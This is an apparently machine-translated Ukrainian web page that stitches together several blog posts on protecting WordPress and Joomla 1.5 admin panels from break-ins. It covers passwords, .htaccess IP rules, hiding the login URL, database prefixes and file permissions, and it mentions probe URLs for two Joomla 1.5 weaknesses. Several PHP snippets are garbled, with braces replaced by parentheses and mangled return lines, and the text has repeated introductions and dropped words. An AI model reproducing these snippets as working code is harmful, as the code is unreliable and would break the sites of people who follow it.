Атакують адмін панель wordpress що робити. Надійний захист WordPress від злому. Використовуйте захищене з'єднання

Зі статті ви дізнаєтесь:

1. Використовуйте хороший логін.

Захист сайту на WordPress починається з елементарного створення гарного логіну. Встановлюючи WordPress, користувачі часто використовують логін, який програма установки пропонує за умовчанням, а саме – admin. Це те, що перевіряють боти, що шукають дірки у безпеці вашого сайту, в першу чергу. Використовуючи цей логін, ви надаєте половину необхідної інформації для хакерів, і їм залишається тільки підібрати пароль.

Якщо ви вже встановили платформу і працюєте над вашим сайтом, навряд чи вам захочеться видаляти установку і починати все з чистого аркуша, щоб використовувати надійніший логін. Вихід є:

Крок 1 – Створення нового користувача

Увійдіть до адміністративної панелі WordPress і створіть новий обліковий запис з більш складним логіном, наділений повним доступом до всіх функцій сайту, тобто правами адміністратора.

У головному меню зліва виберіть Користувачі >> Додати нового.

Введіть всю необхідну інформацію для нового користувача, визначивши його роль як «Адміністратор»та натисніть «Додати нового користувача».

Крок 2 - Видалення користувача admin

Після цього вийдіть із системи управління, увійдіть під новою обліковим записомта видаліть користувача adminіз системи одним із способів:

Спосіб 1 – У головному меню ліворуч виберіть Користувачі >> Всі користувачі. Наведіть на ім'я користувача admin, і ви побачите функцію "Видалити".

Спосіб 2 — У головному меню ліворуч виберіть Користувачі >> Всі користувачі. Знайдіть користувача admin, позначте його галочкою і з меню, що випадає «Дії»Виберіть "Видалити". Після цього натисніть на опцію «Застосувати»під списком користувачів. Ця опція зручна, якщо вам необхідно видалити кілька користувачів.

Також можна змінити ім'я користувача admin через запит до бази даних:
UPDATE wp_users SET user_login = 'новий_логін' WHERE user_login = 'admin';

Цей спосіб має мінус: автор для постів, написаних користувачем admin, не буде змінено. Для того щоб це виправити, необхідно зробити ще один запит до бази даних:
UPDATE wp_posts SET post_author = 'новий_логін' WHERE post_author = 'admin';

2. Використовуйте складний та унікальний пароль.

Захист адмінки WordPress, звичайно, неможливий без складного доброго пароля. Важливо, щоб він був унікальним і включав цифри, літери різних регістрів, знаки пунктуації, символи та інше. Паролі типу: pass, 1q2w3e4r5t6y, 87654321, qwerty, abc123, 111111, 1234, дата вашого народження і т.д. - Не є надійними, але багато користувачів продовжують їх використовувати. Приклад хорошого пароля: pcVaOF8r39. Звичайно, вам складно буде запам'ятати такий пароль, але для цього існує ряд програм, які зберігають та генерують паролі, а також можуть бути інтегровані в інтерфейс вашого браузера (наприклад, Password Agent, KeyPass, Roboform тощо)

Якщо ви все ж таки хотіли б пам'ятати свої паролі напам'ять, рекомендуємо створювати комбінований пароль із добре знайомої вам назви/слова з декількома великими літерами/цифрами у випадкових місцях та кількома спеціальними символами на початку чи наприкінці. Такий пароль буде складний для підбору, але його буде досить легко запам'ятати.

Не забувайте регулярно оновлювати свої паролі.

3. Поновлюйте версію WordPress.

WordPress піклується про своїх користувачів, і тому в адміністративній панелі управління ви можете знайти повідомлення про вихід нової версії. Рекомендуємо здійснити оновлення, як тільки ви побачите його, оскільки одним із найпоширеніших проломів у захищеності вашого сайту є використання застарілої версіїплатформи.

4. Приховуйте WordPress.

WordPress за замовчуванням додає номер поточної версії до вихідний кодсвоїх файлів та сторінок. І оскільки часто не завжди вдається вчасно оновлювати версію WordPress, це може стати слабким місцемвеб-сайту. Знаючи, яка у вас версія WordPress, хакер може завдати багато шкоди.

За допомогою файлу functions.phpможна заборонити виведення інформації про версію платформи. Для цього вам необхідно відкрити файл functions.php, розташований у кореневій папці поточної теми вашого сайту (wp-content/themes/поточна_тема_wordpress), і додати наступний код:
remove_action('wp_head', 'wp_generator');

Або ж можна додати наступний код у файл functions.php:

/* Hide WP version strings from scripts and styles
* @return (string) $src
* @filter script_loader_src
* @filter style_loader_src
*/
function fjarrett_remove_wp_version_strings($src) (
Global $wp_version;
parse_str(parse_url($src, PHP_URL_QUERY), $query);
if (!empty($query['ver']) && $query['ver'] === $wp_version) (
$src = remove_query_arg('ver', $src);
}
return $src;
}
add_filter('script_loader_src', 'fjarrett_remove_wp_version_strings');
add_filter('style_loader_src', 'fjarrett_remove_wp_version_strings');

/* Hide WP version strings from generator meta tag */
function wpmudev_remove_version() (
return»;
}
add_filter('the_generator', 'wpmudev_remove_version');

Крім сказаного вище, в папці будь-якої теми WordPress, ви знайдете header.phpфайл. У ньому також вказується версія вашої установки, що для хакера дуже цікавим, як згадувалося раніше. Видаливши наступний рядок з файлу, ви позбавитеся цієї зайвої інформації:

” />

5. Завантажуйте теми та плагіни з надійних ресурсів.

WordPress є настільки поширеним, що все більше розробників створюють для нього готові теми та плагіни. В той час, як більшість з них полегшать роботу з вашим сайтом і розширять його функціональність, деякі можуть приховувати в собі дуже неприємні наслідки у вигляді вірусів і відчиняти хакерські двері. Використовуйте лише перевірені ресурси для завантаження тем і плагінів, наприклад, wordpress.org , а також звертайте увагу на всі попередження про шкідливість файлів. Як і у випадку із самим WordPress, важливо вчасно оновлювати плагіни до останніх версій.

6. Не зберігайте непотрібні файли.

Неактивні розширення можуть становити серйозну загрозу для безпеки вашого сайту. Тому сміливо видаляйте всі плагіни і теми, що не використовуються. Наприклад, ви встановлювали , щоб тестувати і вибрати той, який використовуватимете. Після вибору не забудьте видалити усі непотрібні.

7. Регулярно перевіряйте ваш локальний комп'ютер на наявність вірусів.

Здійснення різних кроків щодо безпеки сайту на WordPress – це добре, але і за комп'ютером необхідно стежити. У вас повинен бути встановлений антивірус, що постійно оновлюється. В іншому випадку ви ризикуєте заразити ваш веб-сайт, завантаживши на нього вірусні файли.

8. Робіть резервні копії сайту.

Не всі атаки зловмисників можна попередити, але лише одна успішна атака може знищити всі зусилля по роботі над вашим сайтом. Рекомендуємо робити регулярні резервні копії веб-сайту. Багато хостингових компаній надають опцію серверних резервних копій і в разі чого ви зможете відновити сайт з копії, яка доступна на сервері.

Встановивши плагін WordPress Database Backup, ви додатково зможете убезпечити базу даних вашого сайту. Налаштування плагіна дозволяють встановити опцію щоденного відправлення резервної копії бази даних на вашу контактну поштову скриньку.

9. Використовуйте захищене з'єднання.

Якщо ви хочете завантажувати файли за допомогою FTP-клієнта, використовуйте захищений протокол з'єднання до сервера SFTP.

10. Створіть файл.htaccess.

Код, що захищає від хотлінкінгу:

RewriteEngine On
RewriteCond %(HTTP_REFERER) !^http://(.+\.)?yourdomain\.com/
RewriteCond %(HTTP_REFERER) !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpg [L]

Хотлінкінг - це вставка зображення з вашого сервера на чужий сайт. Трафік при цьому йде безпосередньо на ваш сервер.

За допомогою коду, вказаного вище, ви можете змусити сервер перевірити, звідки саме надійшов запит: якщо зі сторінок вашого веб-сайту, сервер віддає зображення користувачу без проблем; якщо ж з чужого веб-сайту, то показує зображення з помилкою.

11. Змініть префікс таблиці бази даних.

Захист WordPress від хакерів також посилиться, якщо усунути початковий префікс wp_ -це ускладнить пошук зловмисників. Розглянемо кілька способів:

Спосіб 1 – підходить для нових установок через Softaculous
Якщо ваш хостинг-провайдер надає вам можливість використання скрипта Softaculous для встановлення WordPress, то змінити префікс можна під час початкової установки: у секції Advanced Options вам необхідно буде внести необхідні зміни.

Спосіб 2 – Для вже працюючих сайтів та свіжих установок WordPress
Якщо ваш WordPress давно встановлений і сайт працює, ви можете поміняти префікс за допомогою програми phpMyAdmin.

Виберіть необхідну базу даних зі списку та зробіть наступний запит до бази даних:

RENAME table `wp_commentmeta` TO `newprefix_commentmeta`;
RENAME table `wp_comments` TO `newprefix_comments`;
RENAME table `wp_links` TO `newprefix_links`;
RENAME table `wp_options` TO `newprefix_options`;
RENAME table `wp_postmeta` TO `newprefix_postmeta`;
RENAME table `wp_posts` TO `newprefix_posts`;
RENAME table `wp_terms` TO `newprefix_terms`;
RENAME table `wp_term_relationships` TO `newprefix_term_relationships`;
RENAME table `wp_term_taxonomy` TO `newprefix_term_taxonomy`;
RENAME table `wp_usermeta` TO `newprefix_usermeta`;
RENAME table `wp_users` TO `newprefix_users`;

де "newprefix_"необхідно замінити на новий префікс, який ви хочете використати замість префікса "wp_".

Після цього ви побачите новий префікс у таблицях бази даних:

Щоб переконатися, що всі зміни пройшли успішно, префікс wp_ більше не використовується в таблиці _optionsі _usermetaВам необхідно буде зробити ще один запит до бази даних:

SELECT * FROM `newprefix_options` WHERE `option_name` LIKE '%wp_%'

SELECT * FROM `newprefix_usermeta` WHERE `meta_key` LIKE '%wp_%'

В результаті ви можете знайти низку префіксів, які вам необхідно буде перейменувати вручну за допомогою кнопки Змінити:

Кількість змін, які вам потрібно буде внести, може бути різною. Але всі префікси wp_ви повинні змінити на новий префікс для нормального функціонування веб-сайту.

Після цього не забудьте також внести зміни префікса в wp-config.phpфайлі:

Ви також можете використовувати спеціальні плагіни для зміни префіксу бази даних: Change DB prefix або Change table prefix.

12. Обмежуйте кількість спроб доступу.

Найчастіше зловмисники роблять безліч спроб входу на ваш сайт, підбираючи пароль. Ви можете налаштувати систему таким чином, щоб IP-адреса була заблокована на кілька годин після певної кількості невдалих спроб входу.

Для цього ви можете використовувати додаткові плагіни, наприклад Login LockDown або Limit Login Attempts. У налаштуваннях цих плагінів, ви можете самостійно встановити кількість спроб входу та час блокування.

Додатково існує можливість усунути відображення повідомлення про те, що введений логін і пароль неправильний. Адже це також інформація, яка може допомогти зловмисникові.

Щоб видалити це повідомлення, потрібно відкрити файл functions.php, розташований у папці поточної теми вашого сайту (wp-content/themes/поточна_тема_WordPress)і додати такий код:
add_filter('login_errors',create_function('$a', "return null;"));

13. Видаліть readme.html та license.txt.

Файли readme.html і license.txt є в кореневій папці будь-якої установки WordPress. Вам ці файли ні до чого, а хакерам вони можуть вилікувати їх злочини. Наприклад, щоб з'ясувати поточну версію вашого WordPress і багато іншого корисного для злому веб-сайту. Рекомендуємо видалити їх відразу після встановлення WordPress.

14. Використовуйте SSL-сертифікат.

Для передачі захищеної інформації та конфіденційності обміну даними рекомендуємо використовувати SSL-протокол. Особливо це актуально для інтернет-магазинів, якщо ви не хочете, щоб особисті дані про ваших клієнтів передавались незахищеним шляхом.

Перш за все вам необхідно буде встановити його для вашого доменного імені.

Після цього ви зможете встановити обов'язкове використання протоколу SSL при вході в панель управління вашим сайтом. Для цього відкрийте wp-config.phpфайл, розташований у кореневій папці вашого веб-сайту, та додайте наступний рядок:
define('FORCE_SSL_ADMIN', true);

15. Змініть файл wp-config.php.

Додавши такий код wp-config.phpфайл, ви також зможете зміцнити захист вашого сайту:

Обмеження на зміни теми та плагінів:
define('DISALLOW_FILE_EDIT', true);

Вимкнення можливості встановлення та видалення плагінів:
define('DISALLOW_FILE_MODS', true);

Додавання salt-ключів або так званих ключів безпеки: спочатку необхідно буде знайти такі рядки в wp-config.phpфайлі:

Ви побачите, що ключі вже встановлені, і їх можна змінити. Або ви побачите рядки такого типу: 'put your unique phrase here', що говорить про те, що ключі поки не встановлені:
/**#@+
* Authentication Unique Keys and Salts.
*
* Змінити їх до різних unique phrases!
* Ви можете створювати їх за допомогою (@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service)
* Ви можете змінити їх на будь-який час у часі до звільнення всіх існуючих cookies. Це буде для всіх користувачів, які мають на log in again.
*
* @ Since 2.6.0
*/
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define( 'NONCE_KEY', 'put your unique phrase here');
define('AUTH_SALT', 'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT', 'put your unique phrase here');
define( 'NONCE_SALT', 'put your unique phrase here');

Про деякі плагіни хочеться згадати окремо:

Це плагін безпеки WordPress, який дозволяє сканувати ваш веб-сайт з метою пошуку шкідливого коду, проломів та лазівок, залишених хакерами, показуючи аналітику сайту та трафіку в реальному часі. Також існує можливість налаштування автоматичного сканування та багато іншого.

Цей плагін перевіряє ваш веб-сайт на різні вразливості у безпеці та пропонує ряд методів їх усунення. Наприклад, паролі, різні права доступу до файлів, захист баз даних, захист інформації про версію WordPress, захист адміністратора та інше.

Цей плагін дозволяє убезпечити користувацькі акаунти та логіни, бази даних та файлову систему, запобігти брутфорсу атаки (атаки, пов'язані з підбором пароля), сканувати сайт та інше.

Хоч як сумно це звучало, але захист WordPress — річ складна, і описані в цій статті способи не гарантують на 100%, що ваш сайт буде повністю захищений від будь-яких дій шахраїв. Однак, нехтувати ними не варто, оскільки вони значно зменшать можливість злому сайту зловмисниками.

WordPress дуже популярна CMS, це не безсумнівно її плюс, є безліч плагінів під будь-які завдання, але це одночасно і є її слабкістю, адже чим популярніше CMS для сайту, тим більше на неї атак, точніше вона цікавіша для зломщика, тому що знайшовши вразливість У WordPress, зловмисникам стають доступні сотні тисяч сайтів, тому захисту вашого сайту на WordPress потрібно приділяти особливу увагу.

Навіщо зламують сайти на WordPress?

Зламують всі популярні CMS (движки для сайтів), і Вордпрес не виняток, зламую в основному за допомогою так званих програм (скриптів) - експлоїтів, для отримання контролю над сайтом, робиться це в основному для створення посилань з вашого сайту на інші ресурси, і для створення BotNet, який займається DDoS атаками на інші сервери, причому сайт залишається в робочому стані, і ви ніколи не побачите не «озброєним» оком, що він заражений. У будь-якому випадку злом погано позначиться на вашому сайті, і можливо, ви навіть пропадете з видачі.

Як я вже говорив, злом відбувається в автоматичному режимі, визначити CMS сайту нескладно, для цього є багато онлайн сервісів, часто атакуюча програма намагається підібрати пароль від адміністративної частини сайту, тобто. переходить за адресою your-site.ru/wp-admin і намагається підібрати пароль до вашого користувача, дізнатися ім'я користувача не складає труднощів, адже ви пишіть статті саме під ним, тому логін буде видно ботам, вони знають де його подивитися. якщо ви звичайно не закрили його за допомогою плагіна, про один з яких ми поговоримо нижче. Пароль від адміністратора сайту повинен бути дуже складним, але навіть при виконанні цієї умови, не можна давати ботам перебирати (брутити) пароль від «адмінки», тому що це не потрібне навантаження на сервер, уявіть, якщо цим займаються кілька десятків ботів з різних кінців світу.

Плагін для захисту WordPress від атак

Перейдемо відразу до плагіна, гідних слухаючи кілька, поговоримо про простіше і зрозуміліше, я використовую його на багатьох своїх проектах, для замовників, він дуже добре справляється з поставленими завданнями з охорони сайту.

Це плагін досить простий у освоєнні, і русифікований на 90%, встановлюється як і будь-який плагін з репозиторію WordPress, після встановлення його потрібно активувати та зробити основні налаштування. Він з'являється в основному меню в адмінці WordPress

Панель керування плагіна WP Security

Після переходу до параметрів плагіна, потрапляємо в панель управління. Тут можна створити основні важливі налаштування.

  1. Показує 5 останніх авторизацій у вашій адмінці, вказаний користувач та IP адреса, я наприклад відразу бачу свої IP, їх всього два, тому у мене не виникає сумнівів, що мій пароль від адміністративної частини знає хтось ще.
  2. Розділ найважливіших функцій, тут все необхідно включити, і з усім погодитися.
  3. Плагін, здатний відстежувати зміни файлів на хостингу, причому він може надсилати звіт вам на пошту, і ви завжди в курсі які файли у вас змінилися, це дуже корисно, якщо вам підвантажили якийсь скрипт або будь-який файл зі шкідливим кодом, ви це відразу побачите у звіті, єдиний мінус, після оновлення будь-яких інших встановлених у вас плагінів або самого движка WordPress, WP Security побачить усі ці зміни і надішле вам величезний список, але до цих звітів можна звикнути, адже ви знаєте коли оновлювали файли самі.
  4. Цей пункт змінює стандартну адресу адмінки сайту yoursite.ru/wp-admin, на yoursite.ru/luboe-slovo, це врятує вашу адмінку від деяких горе-хакерів і ботів, але на жаль не від усіх, особливо просунуті її все одно знаходять, про це я можу судити, дивлячись у розділ «Авторизації», але про це пізніше.
  5. Цей пункт повинен бути вимкнений, як на скріншоті, він потрібен тільки тоді, коли ви хочете поставити сайт на обслуговування, для відвідувачів видаватиметься табличка з повідомленням, про те, що на сайті ведуться технічні роботи, іноді це корисно, наприклад, при зміні дизайну сайту, або за будь-яких глобальних змін, не забувайте, що в цьому режимі пошукові роботи теж не можуть переглядати ваш сайт, не закривайте його на довго.

Захист адмінки WordPress від підбору пароля

Тепер перейдемо до пункту меню — Авторизація, на мій погляд, дуже корисний пункт, і його варто налаштувати, оскільки на одному з моїх сайтів. з відвідуваністю близько 1000 чоловік, плагін відловлює щодня десятки спроб підібрати парль до адмінці, і додає IP адреси зломщиків до чорного списку, тобто. блокує його зовсім, сайт перестає відповідати цій IP адресі, тим самим зводячи нанівець спроби підібрати пароль, на скрині налаштування які я роблю.

  1. Число спроб «помилитись» залишаю -3, не робіть менше, можете самі невірно набрати пароль, і потрапити до чорного списку зі своїм IP, доведеться
  2. Це час, через який скидається лічильник невірних спроб залогінитися
  3. Період блокування IP адрес, з яких були не вірні спроби авторизації, я ставлю більше, в хвилинах, тобто. баню на довго, на скрині стоїть 6 000 000 хвилин, це приблизно 11 років, думаю вистачить

Всім заблокованим IP буде закритий доступ не тільки до адмінки, але і до всього сайту, майте на увазі

Список заблокованих IP-адрес

  1. айпі адресу зловмисника
  2. логін до якого підбирали пароль, до речі правильний
  3. дата коли було зроблено автоматичне блокування

Білий список адрес для адмінки

Щоб дозволити доступ до адміністративної частини сайту на WordPress тільки з певних IP адрес, можна активувати білий список адрес в налаштуваннях плагіна.

  1. активація цієї опції
  2. тут ваша поточна IP адреса
  3. у цьому полі введіть всі IP адреси, з яких дозволено доступ до адмінки

Якщо потрібно вказати діапазон IP адрес, то замість цифри, використовуйте зірочку, наприклад 192.168.5.* - така конструкція дасть доступ в адмінку wordpress з усіх ip, що починаються на ці цифри, такий спосіб може бути корисним тим, у кого немає виділеної ip адреси , і він змінюється, наприклад під час роботи з мобільного інтернет, зазвичай діапазон залишатиметься не більше двох перших цифр, ось так наприклад 192.168.*.*

Час на читання: 4 хв

Ще рік тому у мене дуже часто навантаження на сервер перевищувало межу допустимого за тарифом ліміту. При цьому проблема була не в самих сайтах, а банальній атаці зловмисників на адмінку, щоб отримати доступ до якихось своїх цілей.

Сьогодні я розповім як упорався з проблемою, що раджу і вам зробити про всяк випадок у себе.

В результаті було ухвалено рішення змінити адресу форми логіну в адмінку, а також прикрити адмінку для всіх сторонніх, у кого не мій IP.

Варто зауважити, що деякі хостинг-компанії самі автоматично створили для всіх користувачів нову адресу адмінки. Якщо ви користуєтесь послугами подібних хостингів, то далі не читайте статті та не витрачайте час.

Як змінити адресу адмінки WordPress

Раніше публікував таку статтю. Тут начебто й схожий результат, але ефект та призначення інші.

Не забуваймо робити резервні копії файлів, з якими працюємо.

  • Для початку скопіюємо файл wp-login.php з кореня сайту (там, де лежить wp-config.php) на ftp до себе на комп'ютер.
  • Перейменовуємо його як душі завгодно. Наприклад, vhod.php
  • Відкриваємо цей файл безкоштовною програмою Notepad++ (або чим вам зручніше редагувати) та підміняємо всі входження фрази wp-login.php на vhod.php.

Зробити це швидко можна натисканням клавіш CTRL+F в Notepad++. Ну а у вікні, що з'явилося, вводимо:

Ось так за секунду я замінив у всьому файлі потрібне мені входження фрази. Попадалося воно 12 разів.

Новий файл закидаємо на FTP.

Аналогічну штуку потрібно буде провернути у файлі general-template.php, який знайдете в папці wp-includes відразу на ftp. Тобто. змінюєте входження фрази wp-login.php на vhod.php , а сама назва файлу не змінюєте!

Тепер там же у корені сайту у вас є файл .htaccess. Теж копіюємо його до себе на комп'ютер і відкриваємо на редагування (можна звичайним блокнотом Windows Notepad). Вставляємо такий шмат коду, який блокує доступ всім до файлу wp-login.php

Order Deny,Allow Deny from all

< Files wp - login . php >

Order Deny , Allow

Deny from all

< / Files >

Саме цей крок зняв навантаження, а також сховав форму авторизації. Навантаження було знято за рахунок вставки представленого коду в.htaccess: якщо йшло звернення до http://site.ru/wp-login.php, то віддавало 403 помилки, а не 404.

Повторимо коротко алгоритм роботи:

  • Перейменовуємо файл wp-login.php на довільне ім'я та підміняємо в ньому входження назви на нове.
  • Аналогічно підмінюємо у файлі general-template.php стару назву wp-login.php на нову.
  • Прописуємо у файлі.htaccess заборону доступу wp-login.php для всіх

Після оновлення WordPress залишиться виправити лише файл general-template.php. Але т.к. оновлюється двигун не так часто - це дрібниця в порівнянні з ефектом.

Ставимо обмеження на вхід через IP через.htaccess

Як додаткові заходи захисту сайту мною було вжито обмеження на вхід до адмінки по IP. Проблема вирішувалася дуже просто: створюємо порожній файл.htaccess і додаємо в нього такий код

order deny,allow allow from 192.168.0.1 deny from all

order deny , allow

allow from 192.168.0.1

deny from all

Файл зберігаємо та закидаємо у папку wp-admin там же в корені сайту.

Замість мого IP із прикладу поставте свій справжній. До того ж можна додати кілька IP з нового рядка кожен:

order deny,allow allow from 126.142.40.16 allow from 195.234.69.6 deny from all

order deny , allow

allow from 126.142.40.16

allow from 195.234.69.6

deny from all

Якщо IP динамічний, то можете поставити цифри лише до першої-другої-третьої точки:

Ви, напевно, вже знаєте як можна потрапити в адмінку WordPress?

Зробити це можна як мінімум чотирма способами, додавши до адреси вашого сайту наступне:

  1. / admin, тобто. так: http://вашсайт/admin
  2. /wp-admin
  3. /login
  4. /wp-login.php

Загалом всі три перші варіанти редиректом (перенаправленням) приведуть вас все одно на сторінку: http://ваш_сайт/wp-login.php

Виходить, що будь-хто бажає зможе додати до адреси Вашого сайту будь-яку з чотирьох вище описаних приставок і побачить вхід адмінку:

Звичайно ж, це зовсім не означає, що цей будь-який бажаючий зможе також легко потрапити в адмінку, адже йому потрібно ще знати Ім'я користувача або Ваш e-mail та Ваш пароль.

Якщо Ваш користувач-адміністратор має логін: - це зовсім не обачно з Вашого боку і зловмиснику залишиться тільки вгадати або підібрати Ваш пароль.

Крім того, ви побачили напис: Ім'я користувача чи e-mail? Так, так, саме e-mail WordPress може використовуватись як Ім'я користувача. Адже Ви могли десь на сайті вказати E-mail адресу, яка збігається з E-mail користувача-адміністратора. Виходить перше, що може спробувати зловмисник - це ввести Ваш e-mail і тут WordPress йому знову допоможе, адже якщо e-mail не підходить він побачить таке повідомлення:

а якщо E-mail правильний, WordPress-напише, що пароль для нього не вірний:

У результаті, ми маємо ситуацію, при якій потенційному зловмиснику для злому Вашого сайту (доступу в адмінку) потрібно буде лише вгадати або підібрати Ваш пароль.

Як же захистити вхід до адмінки від потенційної загрози? Відповідь проста – постаратися збільшити кількість невідомих, необхідних для входу.

А тепер давайте докладніше:

  1. По можливості, зробіть так, щоб E-mail користувача-адміністратора на сайті ніде не згадувався – публічний E-mail має бути якимсь іншим.
  2. Ваш пароль повинен бути не простим, при встановленні WordPress сам генерує для вас складний пароль, якщо не хочете його використовувати придумайте який-небудь складний пароль, що включає в себе маленькі і великі символи, цифри і якісь символи типу -, ?, _ і т.д.
  3. Ім'я Вашого користувача теж не повинно бути простим, жодних: admin, manager, root, administrator, userта інших найпростіших слів!
  4. І нарешті, потрібно ввести третю найголовнішу невідому - поміняти URL-адресу входу в адмінку, для цього встановіть простий плагін: WPS Hide Login
WPS Hide Login

Проста, безкоштовна і досить популярна плагін, що дозволяє змінити URL-адресу входу в адмінку.

Після встановлення та активації плагіна, вам потрібно перейти до розділу адмінки: Налаштування / Загальні, далі прокрутити сторінку до самого низу і побачити всього один параметр, що додається цим плагіном:

За замовчуванням плагін пропонує використовувати вхід http://вашсайт/login – але це аж ніяк не найкращий варіант! Придумайте щось своє, наприклад: yyy12_go)))

Після зміни цього параметра не забудьте натиснути кнопку зберегти зміни- інакше при активному плагіні у вас буде вхід через http://вашсайт/login

Обов'язково спробуйте вийти і знову зайти в адмінку, але вже за новою адресою входу, яку ви самі вигадали і головне не забудьте його!

Після зміни точки входу в адмінку, при спробі зайти за стандартними URL-адресами користувач отримуватиме 404 сторінку помилки.

Увага!Якщо раптом Ви забудете нову адресу входу в адмінку, вам потрібно буде вимкнути плагін. Зробити це можна не потрапляючи до адмінки за наявності доступу до папок та файлів сайту. Потрібно просто перейменувати або видалити папку плагіна wps-hide-login,яка буде в папці plugins(папка plugins знаходиться у папці wp-content).

У результаті: після застосування всіх вище перерахованих заходів ми повинні отримати захист входу в адмінку з трьома невідомими: E-mail / Ім'я користувача, складний пароль і свою унікальну URL-адресу входу – а це може значно ускладнити потуги юних хакерів)

Здрастуйте, шановні читачі блогу сайт. Сьогодні хочу поговорити про безпеку роботи та деякі методи захисту сайту від злому. На жаль, я не є експертом у цій галузі і мої знання мало виходять за рамки статті про , але я просто опишу свій недавній досвід. Нічого складно я не використав, але сподіваюся, що це підвищить безпеку роботи з моїми сайтами.

Йтиметься про подвійний аутентифікації для входу в адмінпанель двигунавашого сайту (працювати має на будь-яких CMS, але особисто я перевіряв лише на WordPress та Joomla). Захист ставиться на рівні сервера, тому всі спроби підбору пароля до адмінки (брутфорсу) не будуть створювати підвищеного навантаження на хостинг і обійти його досить складно. Ставиться вона легко (буквально в кілька дій) і з усіх знань вимагає лише уважності та вміння отримувати доступ до сайту з ФТП.

Ну і також наведу пару дій, які я застосував до сайтів на вже застарілих двигунах Joomla 1.5, які мені немає особливого сенсу переносити на , але які у мене постійно ламають і використовують сервер для розсилки спаму. Описані дії я зробив нещодавно, тому не можу констатувати факт припинення зараження сайтів вірусами, але сподіваюся. Загалом, я спробував трохи підвищити злостійкість Joomla 1.5.

Як захистити Joomla 1.5 від злому та проникнення вірусів

Як я вже згадав вище, проблема полягає в постійних зламах двох моїх сайтів, які працюють під керуванням Joomla 1.5. Можна вважати їх занедбаними, бо нові матеріали я на них не додаю, але вони справно приносять дохід (з розміщення статей з Міралінкса та Вебартексу, а також посилань з Гогетлінкса). Загалом, викинути їх шкода, а перекладати на нову версію движка «в брухт» (шкода витраченого часу та сил).

Залишається або постійно моніторити навантаження на сервер і при його підвищенні шукати серед файлів двигунів шели та інших зловредів, або якимось чином посилювати захист. Для пошуку зловредів я викачую файли движка на комп'ютер і перевіряю їх Доктором Інтернетом та Айболітом. Перший знаходить далеко не все, а останній бачить ворога надто часто там, де його немає, але якихось інших ефективних способів я не знаю. Хоча є ще й у десятках програм, але це вже кому як зручніше.

До речі, скрипт Айболітвміє працювати не тільки на сервері, а й прямо на комп'ютері в папці з завантаженими файлами движка (штатний антивірус тільки не забудьте відключити при завантаженні сайту, бо він може частину файлів почікати, а на сервері вони все одно залишаться).

Детальна інструкція наведена в нижченаведеному ролику, а якщо говорити коротко, то ви завантажуєте з сайту Майкрософта інтерпретатор мови PHP і встановлюєте його. Після чого файл скрипта Айболита під назвою ai-bolit.php відкриваєте саме за допомогою цього інтерпретатора:

Швидкість сканування залежить від швидкодії вашого комп'ютера та кількості файлів у движку вашого сайту. У мене це зайняло кілька годин для https://сайт, бо навіть картинки «Айболіт» підозрює у приховуванні вірусів, а цих картинок у мене купа, та й файли кешу багато часу забирають при скануванні. Для сайтів на Joomla 1.5 перевірка проходила набагато швидше.

Вирішив витратити день для пошуку шляхів підвищення безпеки сайтів. Зробити вдалося зовсім небагато, але все ж таки краще, ніж нічого. Давайте почнемо з зміцнення захисту (зі зниження вразливості) двох сайтів на Joomla 1.5. Було зроблено таке:


Як ще захистити Joomla 1.5 від вірусів та потокових зломів

  1. Також "фахівці" запевняють, що сайти на Joomla 1.5 ламають "на раз-два" шляхом використання наявної в движку (через неї нібито можна змінити пароль адміна). Навіть якщо ви реєстрацію на своєму сайті не використовуєте і посилання на відновлення ніде не виводите, це не означає, що цю вразливість ви прикрили. Просто додайте наступний фрагмент до урла головної сторінки свого сайту та отримайте потрібну можливість: /index.php?option=com_user&view=reset

    Власне, для закриття цієї лазівки (але як їй скористатися для злому я так і не зрозумів) можна просто видалити такий ось файлик:

    /components/com_user/models/reset.php Правда після цього ніхто з зареєстрованих у вас на сайті користувачів скористатися функцією відновлення паролів не зможе, але для мене це не було важливо, бо реєстрації передбачено не було.

  2. А ще кажуть, що така корисна шняга, як за допомогою додавання до адреси сторінки, теж дозволяє письменникам вірусів та мисливцям до чужого добра дістатися-таки до якихось чутливих зон вашого сайту і внести до нього деструктив, або якось інакше. ним поглумитися. Штука ця знову ж таки забирається шляхом виправлення одного з файлів движка. /libraries/Joomla/application/module/helper.php

    Там потрібно видалити два фрагменти коду, або закоментувати, уклавши їх у /* і */ (цей код не виконуватиметься інтерпретатором мови). Перший фрагмент такий:

    If(count($result) == 0) ( if(JRequest::getBool("tp")) ( $result = JModuleHelper::getModule("mod_".$position); $result->title = $position; $result->content = $position; $result->position = $position; ) )

    А другий такий:

    If(JRequest::getBool("tp")) ( $attribs["style"] .= " outline"; )

    Власне, після цього скидаєте кеш і намагаєтеся переглянути позиції модулів у вашому шаблоні за допомогою такої конструкції:

    Https://сайт/?tp=1

    Якщо не вийшло, то ви цю дірку, сподіватимемося, закрили.

  3. Дуже часто зламують сайти не зовні, а зсередини. Трояни і кейлогени на вашому комп'ютері знають, що і де шукати, тому не зберігайте паролі у ФТП клієнтах(є варіант використовувати для цієї справи). Ще крутіше вважається - відключити можливість доступу до вашого сайту по ФТП, а замість цього, де передана інформація (у тому числі і паролі) шифрується, що робить марним її перехоплення. Я, якщо чесно, останню пораду нехтую через свою «темність». Ще є варіант налаштування доступу до вашого сайту за звичайним ФТП тільки з певної IP-адреси (вашого комп'ютера), але у мого інтернет-провайдера IP динамічний (змінюється в певному діапазоні).
  4. Також радять движкане вище тих, що реально потрібні для його роботи. Насправді, я особливо не думаючи поставив за шаблоном: 755 на папки та 644 на файли. можна все за допомогою тієї ж Файлзили. Причому зазначені права потрібно застосовувати як для каталогів кореневої папки, але й всіх каталогів і файлів, які лежать усередині них.

    На файли в кореневій папці я поставив права 444, а на каталоги tmp і logs - 705. Можна було б, звичайно, і жорсткіше "затиснути", але у мене в цьому немає особливого досвіду, а витрачати час на експерименти було ніколи. Та й до того ж все це не дуже серйозно стримає хакерів, бо існують, що всі наші старання може звести нанівець. Для цього використовують такі команди:

    Тому для повного «бетонування» файлів движка Joomla 1.5 від злому та зазіхань потрібно заборонити на зміну прав доступу до файлів і папок через PHP. Робиться це в налаштуваннях сервера, але я поки що не знаю як і де. Якщо знаєте, то киньте посилання.

